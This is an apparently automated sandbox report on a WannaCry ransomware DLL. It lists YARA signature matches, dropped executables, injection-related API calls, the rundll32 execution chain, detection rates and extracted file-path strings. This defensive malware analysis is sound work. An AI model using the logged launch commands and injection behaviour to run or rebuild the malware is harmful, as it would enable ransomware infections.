          Source: 00000004.00000000.452965577.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000006.00000002.541711223.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000004.00000000.457156130.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000006.00000000.457229405.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000004.00000000.449494813.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000004.00000000.454576802.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 00000006.00000000.452944820.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\WINDOWS\mssecsvc.exeJump to behavior
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23CC24_2_00C23CC2
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C228C84_2_00C228C8
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23CF04_2_00C23CF0
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23D4B4_2_00C23D4B
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23D1F4_2_00C23D1F
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23D364_2_00C23D36
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23C3D4_2_00C23C3D
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CF04_2_7FEA3CF0
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA28C84_2_7FEA28C8
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CC24_2_7FEA3CC2
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA4C9E4_2_7FEA4C9E
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D4B4_2_7FEA3D4B
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3C3D4_2_7FEA3C3D
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D364_2_7FEA3D36
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D1F4_2_7FEA3D1F
          Source: C:\Windows\tasksche.exeCode function: 22_2_00406C4022_2_00406C40
          Source: C:\Windows\tasksche.exeCode function: 22_2_00402A7622_2_00402A76
          Source: C:\Windows\tasksche.exeCode function: 22_2_00402E7E22_2_00402E7E
          Source: C:\Windows\tasksche.exeCode function: 22_2_0040350F22_2_0040350F
          Source: C:\Windows\tasksche.exeCode function: 22_2_00404C1922_2_00404C19
          Source: C:\Windows\tasksche.exeCode function: 22_2_0040541F22_2_0040541F
          Source: C:\Windows\tasksche.exeCode function: 22_2_0040379722_2_00403797
          Source: C:\Windows\tasksche.exeCode function: 22_2_004043B722_2_004043B7
          Source: C:\Windows\tasksche.exeCode function: 22_2_004031BC22_2_004031BC
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C205F2 FindCloseChangeNotification,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,FindCloseChangeNotification,4_2_00C205F2
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_00C2144A
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C22477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_00C22477
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C22574 NtMapViewOfSection,FindCloseChangeNotification,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_00C22574
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2252F NtOpenSection,4_2_00C2252F
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2042D GetModuleHandleA,GetVersion,VirtualAlloc,FindCloseChangeNotification,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,4_2_00C2042D
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C233E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_00C233E0
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C224AE lstrcpyW,lstrlenW,__common_dcos_data,NtCreateSection,4_2_00C224AE
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_00C23405
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C21422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_00C21422
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA33E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA33E0
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,4_2_7FEA05F2
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA24AE lstrcpyW,lstrlenW,NtCreateSection,4_2_7FEA24AE
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_7FEA2477
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2574 NtMapViewOfSection,CloseHandle,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_7FEA2574
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA144A
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA252F NtOpenSection,4_2_7FEA252F
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D GetModuleHandleA,GetVersion,VirtualAlloc,CloseHandle,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,4_2_7FEA042D
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA1422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA1422
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA3405
          Source: mssecsvc.exe.2.drStatic PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows
          Source: tasksche.exe.6.drStatic PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract
          Source: Joe Sandbox ViewDropped File: C:\Windows\tasksche.exe F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B
          Source: tct5NKwZY8.dllVirustotal: Detection: 77%
          Source: tct5NKwZY8.dllMetadefender: Detection: 68%
          Source: tct5NKwZY8.dllReversingLabs: Detection: 96%
          Source: tct5NKwZY8.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll"
          Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1
          Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\tct5NKwZY8.dll,PlayGame
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1
          Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
          Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",PlayGame
          Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
          Source: unknownProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe -m security
          Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
          Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
          Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
          Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\backgroundTaskHost.exe "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
          Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
          Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1Jump to behavior
          Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\tct5NKwZY8.dll,PlayGameJump to behavior
          Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",PlayGameJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1Jump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
          Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /iJump to behavior
          Source: C:\Windows\mssecsvc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
          Source: C:\Windows\System32\BackgroundTransferHost.exeFile created: C:\Users\user\AppData\Local\Packages\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\AC\BackgroundTransferApi\1f5a31f7-2e53-4f7c-b3e1-1b89743b8cbe.down_dataJump to behavior
          Source: mssecsvc.exe.2.drBinary string: C\Device\HarddiskVolume2\Windows\SoftwareDistribution\DataStore\Logs
          Source: mssecsvc.exe.2.drBinary string: @\Device\HarddiskVolume2\Windows\System32\ru-RU\WinSATAPI.dll.mui
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sysT
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sysAUH
          Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\fveui.dll
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\wercplsupport.dll
          Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\QAGENTRT.DLL
          Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Locationp
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\crcdisk.sysp
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sysd
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\NV_AGP.SYS
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\acpipmi.sysH
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\ndiscap.sys
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\cabinet.dll
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5ABCO
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\VMBusHID.sys&
          Source: mssecsvc.exe.2.drBinary string: h\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\mapi32.dll
          Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\ru_PTC
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\BrSerId.sys
          Source: tct5NKwZY8.dllBinary string: 2\Device\HarddiskVolume2\Windows\Logs\SystemRestore
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\crcdisk.sys?
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sys;
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\mskssrv.sys
          Source: tct5NKwZY8.dllBinary string: D\Device\HarddiskVolume2\Windows\System32\drivers\en-US\ipnat.sys.muip
          Source: tct5NKwZY8.dllBinary string: `\Device\HarddiskVolume2\Program Files\Windows Media Player\Network Sharing\ConnectionManager.xmlp
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\storvsc.sys,
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RasRip-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SystemRestore-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\desktop.inip
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnky009.catp
          Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netrass.inf_loc0D
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\amdk8.sys
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-MiscRedirection-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: tct5NKwZY8.dllBinary string: 2\Device\HarddiskVolume2\Windows\System32\msdmo.dllF75p
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\dmvsc.sys@
          Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\umrdp.dllSTRP
          Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Program Files\AVG\Av\avgcmgr.exeST
          Source: mssecsvc.exe.2.drBinary string: -\Device\HarddiskVolume2\Windows\inf\mshdc.PNFp
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep004.catp
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep005.cat
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\1394ohci.sysp
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SimpleTCP-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\DFDWiz.exeU0IS$
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep004.cat\
          Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\ndiscap.PNF
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IE-Troubleshooters-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\intelide.sys
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\TsUsbGD.sys
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\shredlog.cfgp
          Source: tct5NKwZY8.dllBinary string: F\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\partmgr.sys.mui
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F94FD5F2AAEFDB64257601230509A4E9H
          Source: mssecsvc.exe.2.drBinary string: Y\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnrc007.catp
          Source: tct5NKwZY8.dllBinary string: 4\Device\HarddiskVolume2\Windows\System32\httpapi.dllpp
          Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\ListSvc.dll
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\hidbth.sysH
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\arcsas.sysX
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netpacer.inf_locDa
          Source: mssecsvc.exe.2.drBinary string: U\Device\HarddiskVolume2\Users\
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\Icon Files\2c07d841-785f-469b-81db-3ff900796688.png\
          Source: mssecsvc.exe.2.drBinary string: X\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft
          Source: mssecsvc.exe.2.drBinary string: Z\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb
          Source: tct5NKwZY8.dllBinary string: x\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows Media Player NSS\3.0\SCPD
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WMI-SNMP-Provider-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
          Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\AppIDp
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\drmkaud.sysCP
          Source: mssecsvc.exe.2.drBinary string: #\Device\HarddiskVolume3\
          Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\Performance
          Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\drmkaud.sys
          Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\ehome\ehprivjob.exe
          Source: tct5NKwZY8.dllBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WMI-SNMP-Provider-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catW
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\csllog.cfgLL
          Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\inf\keyboard.PNF
          Source: mssecsvc.exe.2.drBinary string: m\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\Myp
          Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\wbem\WmiApSrv.exe
          Source: tct5NKwZY8.dllBinary string: o\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\windows-legacy-whql.cat
          Source: tct5NKwZY8.dllBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnlx004.catp
          Source: tct5NKwZY8.dllBinary string: :\Device\HarddiskVolume2\Windows\System32\wbem\WmiApSrv.exes\S
          Source: mssecsvc.exe.2.drBinary string: `\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\oem4.CATWp
          Source: mssecsvc.exe.2.drBinary string: d\Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnhp004.catWp
          Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\desktop.inip
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exep
          Source: mssecsvc.exe.2.drBinary string: -\Device\HarddiskVolume2\Windows\inf\input.PNFp
          Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\sisraid2.sys
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sysH
          Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Program Files\AVG Web TuneUp\TBAPI.dllM
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\hdaudbus.inf_loc
          Source: mssecsvc.exe.2.drBinary string: P\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\battery.inf_loc
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netsstpt.inf_locBFFRp
          Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\ru1
          Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: {\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\parvdm.sys1
          Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\ProgramData\Microsoft\RAC\StateData
          Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Media-Foundation-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catore.p
          Source: tct5NKwZY8.dllBinary string: E\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\UAGP35.SYS.mui
          Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\en_CPU
          Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Users\
          Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\input.inf_locH
          Source: mssecsvc.exe.2.drBinary string: O\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
          Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\ProgramData\Avg\log
